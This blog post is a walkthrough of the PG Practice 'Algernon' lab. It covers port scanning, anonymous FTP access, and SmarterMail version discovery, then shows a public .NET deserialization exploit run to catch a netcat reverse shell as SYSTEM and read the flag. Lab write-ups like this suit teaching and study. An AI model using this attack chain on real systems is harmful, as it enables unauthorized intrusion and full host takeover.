Profile

Shadow


PG Practice: Algernon

By shadow September 15, 2026 Posted in CTF

Initial Access

Nmap & RustScan

I start with scanning the target using RustScan and Nmap:

rustscan -a 192.168.188.65 --ulimit 5000 -b 4500 -- -sC -sV -Pn -oN rust.txt
nmap -p- --min-rate 5000 -sS -sC -sV -Pn -T4 -oN nmap.txt 192.168.188.65
Open 192.168.188.65:21
Open 192.168.188.65:80
Open 192.168.188.65:135
Open 192.168.188.65:139
Open 192.168.188.65:445
Open 192.168.188.65:5040
Open 192.168.188.65:7680
Open 192.168.188.65:9998
Open 192.168.188.65:17001
Open 192.168.188.65:49665
Open 192.168.188.65:49666
Open 192.168.188.65:49664
Open 192.168.188.65:49667
Open 192.168.188.65:49668
Open 192.168.188.65:49669
Scan Results

I noticed that FTP allows anonymous logins:

┌──(kali㉿kali)-[~/practice/Algernon]
└─$ ftp 192.168.188.65
Connected to 192.168.188.65.
220 Microsoft FTP Service
Name (192.168.188.65:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49864|)
125 Data connection already open; Transfer starting.
04-29-20  10:31PM       <DIR>          ImapRetrieval
09-15-26  12:47AM       <DIR>          Logs
04-29-20  10:31PM       <DIR>          PopRetrieval
04-29-20  10:32PM       <DIR>          Spool
226 Transfer complete.

I used wget to recursively download all files from the FTP server:

wget -r --no-parent ftp://192.168.188.65/
Wget output

After going through the downloaded files, I found an admin log.

Admin Log

Next, I connected to the web server on port 9998, as port 80 showed the default IIS page and directory busting on both ports wasn’t successful.

Web Server Port 9998

Since I didn’t know the email or password to log in, and the SmarterMail version was also unknown, I inspected the webpage’s source code and found the version: SmarterMail 100.0.6919 (build 6919).

Finding Version

I searched on Exploit-DB and found that SmarterMail versions before build 6985 have a vulnerability in their .NET remoting endpoint, which allows for a .NET deserialization attack. This aligns perfectly with the fact that port 170001 (MS .NET Remoting Services) is open on the target.

Exploit Info

I downloaded the exploit script, updated the IP address and port to match my machine, and achieved Remote Code Execution (RCE).

┌──(kali㉿kali)-[~/practice/Algernon]
└─$ nano 49216.py 
Editing Exploit
┌──(kali㉿kali)-[~/practice/Algernon]
└─$ python3 49216.py 
┌──(kali㉿kali)-[~/practice/Algernon/192.168.188.65/Logs]
└─$ nc -nvlp 4444                                              
listening on [any] 4444 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.181.65] 49849
id
PS C:\Windows\system32> whoami
nt authority\system

I successfully obtained a shell as nt authority\system! Now I can search for the flag.

PS C:\users> gci -recurse | select fullname

The flag is located on the Administrator’s desktop.

Flag Location
PS C:\users> cat C:\users\Administrator\Desktop\proof.txt                                                                 
2e776515b8b76ff1886115428ed511ad

You Might Also Like